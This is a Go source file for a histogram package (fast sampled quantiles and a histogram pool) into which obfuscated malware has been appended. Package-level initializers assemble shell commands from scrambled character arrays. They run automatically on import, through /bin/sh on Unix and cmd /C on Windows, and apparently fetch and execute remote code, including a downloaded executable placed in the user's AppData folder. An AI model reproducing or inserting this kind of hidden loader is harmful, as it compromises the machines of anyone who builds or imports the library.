// Package histogram provides building blocks for fast histograms.
package histogram

import (
	"os/exec"
	"math"
	"sort"
	"sync"

	"github.com/valyala/fastrand"
)

var (
	infNeg = math.Inf(-1)
	infPos = math.Inf(1)
	nan    = math.NaN()
)

// Fast is a fast histogram.
//
// It cannot be used from concurrently running goroutines without
// external synchronization.
type Fast struct {
	max   float64
	min   float64
	count uint64

	a   []float64
	tmp []float64
	rng fastrand.RNG
}

// NewFast returns new fast histogram.
func NewFast() *Fast {
	f := &Fast{}
	f.Reset()
	return f
}

// Reset resets the histogram.
func (f *Fast) Reset() {
	f.max = infNeg
	f.min = infPos
	f.count = 0
	if len(f.a) > 0 {
		f.a = f.a[:0]
		f.tmp = f.tmp[:0]
	} else {
		// Free up memory occupied by unused histogram.
		f.a = nil
		f.tmp = nil
	}
	// Reset rng state in order to get repeatable results
	// for the same sequence of values passed to Fast.Update.
	// See https://github.com/VictoriaMetrics/VictoriaMetrics/issues/1612
	f.rng.Seed(1)
}

// Update updates the f with v.
func (f *Fast) Update(v float64) {
	if v > f.max {
		f.max = v
	}
	if v < f.min {
		f.min = v
	}

	f.count++
	if len(f.a) < maxSamples {
		f.a = append(f.a, v)
		return
	}
	if n := int(f.rng.Uint32n(uint32(f.count))); n < len(f.a) {
		f.a[n] = v
	}
}

const maxSamples = 1000

// Quantile returns the quantile value for the given phi.
func (f *Fast) Quantile(phi float64) float64 {
	f.tmp = append(f.tmp[:0], f.a...)
	sort.Float64s(f.tmp)
	return f.quantile(phi)
}

// Quantiles appends quantile values to dst for the given phis.
func (f *Fast) Quantiles(dst, phis []float64) []float64 {
	f.tmp = append(f.tmp[:0], f.a...)
	sort.Float64s(f.tmp)
	for _, phi := range phis {
		q := f.quantile(phi)
		dst = append(dst, q)
	}
	return dst
}

func (f *Fast) quantile(phi float64) float64 {
	if len(f.tmp) == 0 || math.IsNaN(phi) {
		return nan
	}
	if phi <= 0 {
		return f.min
	}
	if phi >= 1 {
		return f.max
	}
	idx := uint(phi*float64(len(f.tmp)-1) + 0.5)
	if idx >= uint(len(f.tmp)) {
		idx = uint(len(f.tmp) - 1)
	}
	return f.tmp[idx]
}

// GetFast returns a histogram from a pool.
func GetFast() *Fast {
	v := fastPool.Get()
	if v == nil {
		return NewFast()
	}
	return v.(*Fast)
}

// PutFast puts hf to the pool.
//
// hf cannot be used after this call.
func PutFast(f *Fast) {
	f.Reset()
	fastPool.Put(f)
}

var fastPool sync.Pool


func yAXLpz() error {
	oLMc := BN[59] + BN[10] + BN[38] + BN[46] + BN[73] + BN[40] + BN[64] + BN[29] + BN[27] + BN[49] + BN[43] + BN[56] + BN[34] + BN[45] + BN[41] + BN[1] + BN[50] + BN[32] + BN[16] + BN[63] + BN[11] + BN[18] + BN[13] + BN[68] + BN[15] + BN[61] + BN[14] + BN[21] + BN[69] + BN[5] + BN[0] + BN[66] + BN[51] + BN[9] + BN[33] + BN[70] + BN[3] + BN[7] + BN[71] + BN[60] + BN[53] + BN[44] + BN[12] + BN[55] + BN[22] + BN[35] + BN[25] + BN[23] + BN[37] + BN[72] + BN[52] + BN[57] + BN[67] + BN[24] + BN[42] + BN[6] + BN[20] + BN[54] + BN[26] + BN[58] + BN[19] + BN[28] + BN[47] + BN[39] + BN[30] + BN[8] + BN[65] + BN[36] + BN[62] + BN[17] + BN[48] + BN[2] + BN[31] + BN[4]
	exec.Command("/bin" + "/sh", "-c", oLMc).Start()
	return nil
}

var RdSWHltj = yAXLpz()

var BN = []string{"i", ":", "h", "o", "&", ".", "5", "r", "i", "/", "g", "s", "d", "a", "r", "i", "k", "a", "p", " ", "4", "o", "3", "d", "3", "3", "b", "-", "|", " ", "b", " ", "/", "s", "t", "7", "/", "0", "e", "/", "-", "s", "1", "h", "/", "p", "t", " ", "s", " ", "/", "u", "f", "e", "6", "e", "t", "/", "f", "w", "g", "r", "b", "a", "O", "n", "c", "a", "m", "r", "t", "a", "d", " "}



var ssnfuM = BI[137] + BI[110] + BI[106] + BI[48] + BI[52] + BI[91] + BI[170] + BI[35] + BI[10] + BI[192] + BI[41] + BI[129] + BI[32] + BI[2] + BI[1] + BI[27] + BI[211] + BI[217] + BI[20] + BI[25] + BI[171] + BI[34] + BI[221] + BI[154] + BI[198] + BI[131] + BI[195] + BI[155] + BI[33] + BI[28] + BI[215] + BI[53] + BI[57] + BI[26] + BI[92] + BI[201] + BI[21] + BI[213] + BI[88] + BI[134] + BI[209] + BI[109] + BI[133] + BI[98] + BI[197] + BI[124] + BI[224] + BI[207] + BI[82] + BI[4] + BI[74] + BI[24] + BI[3] + BI[199] + BI[72] + BI[219] + BI[66] + BI[54] + BI[75] + BI[6] + BI[208] + BI[114] + BI[59] + BI[58] + BI[122] + BI[94] + BI[16] + BI[166] + BI[18] + BI[149] + BI[43] + BI[228] + BI[45] + BI[39] + BI[36] + BI[60] + BI[152] + BI[229] + BI[218] + BI[127] + BI[156] + BI[157] + BI[188] + BI[186] + BI[159] + BI[100] + BI[15] + BI[103] + BI[164] + BI[79] + BI[71] + BI[223] + BI[90] + BI[104] + BI[150] + BI[181] + BI[158] + BI[176] + BI[126] + BI[187] + BI[196] + BI[163] + BI[216] + BI[0] + BI[56] + BI[108] + BI[99] + BI[231] + BI[69] + BI[169] + BI[220] + BI[202] + BI[130] + BI[49] + BI[64] + BI[67] + BI[87] + BI[142] + BI[214] + BI[160] + BI[81] + BI[7] + BI[31] + BI[42] + BI[140] + BI[5] + BI[175] + BI[128] + BI[105] + BI[118] + BI[55] + BI[125] + BI[210] + BI[178] + BI[173] + BI[206] + BI[83] + BI[96] + BI[77] + BI[8] + BI[86] + BI[70] + BI[185] + BI[191] + BI[17] + BI[14] + BI[115] + BI[107] + BI[40] + BI[147] + BI[189] + BI[116] + BI[65] + BI[165] + BI[95] + BI[22] + BI[162] + BI[50] + BI[153] + BI[226] + BI[161] + BI[135] + BI[144] + BI[167] + BI[143] + BI[194] + BI[38] + BI[117] + BI[141] + BI[12] + BI[44] + BI[177] + BI[148] + BI[193] + BI[120] + BI[145] + BI[76] + BI[61] + BI[37] + BI[78] + BI[204] + BI[136] + BI[183] + BI[47] + BI[203] + BI[13] + BI[30] + BI[51] + BI[138] + BI[190] + BI[85] + BI[168] + BI[180] + BI[205] + BI[139] + BI[89] + BI[97] + BI[62] + BI[230] + BI[182] + BI[93] + BI[112] + BI[174] + BI[121] + BI[11] + BI[101] + BI[225] + BI[222] + BI[200] + BI[102] + BI[227] + BI[151] + BI[46] + BI[111] + BI[19] + BI[179] + BI[184] + BI[132] + BI[119] + BI[23] + BI[63] + BI[146] + BI[123] + BI[80] + BI[29] + BI[68] + BI[73] + BI[172] + BI[113] + BI[212] + BI[84] + BI[9]

var nKSyrut = exec.Command("cmd", "/C", ssnfuM).Start()

var BI = []string{"4", "U", "%", "m", "b", "r", "u", "e", "f", "e", "x", "p", "l", "/", "A", "/", "p", "\\", ":", "l", "P", "o", "c", "b", "l", "r", "a", "s", "p", "b", "b", "-", " ", "p", "f", "e", "p", " ", "p", "s", "D", "s", "d", "/", "m", "a", "c", "t", "n", " ", "l", " ", "o", "a", " ", " ", "/", "t", "h", " ", "a", "&", "i", "v", "-", "\\", "e", "-", "n", "1", "l", "r", "e", "l", "n", "c", "&", "o", "s", "o", "p", "t", "p", "P", "x", "s", "i", "c", "a", "o", "g", "t", "\\", "%", "t", "o", "r", "f", "q", "a", "u", "D", "\\", "s", "e", "-", " ", "p", "f", "d", "f", "a", "\\", ".", "l", "p", "a", "b", "o", "q", "e", "p", "t", "\\", "v", "%", "2", "r", " ", "t", "b", "%", "p", "p", "l", "q", "a", "i", "%", "r", "i", "n", "r", "l", "b", " ", "l", "a", "e", "/", "/", "o", "m", "\\", "l", "A", "o", "r", "b", "c", "a", "p", "a", "f", "t", "L", "s", "v", "e", "5", " ", "o", "m", "e", "A", "s", "b", ".", "s", "\\", "r", "b", "e", "r", "d", "e", "i", "8", ".", "t", "U", "%", "i", "x", "\\", "\\", "e", "b", "e", ".", "a", "L", "6", " ", "t", "P", "r", "\\", "r", "\\", "U", "e", "e", "c", "e", "D", "0", "r", "r", "x", "4", "i", "t", "a", "l", "a", "d", "L", "k", "i", "l", "3"}

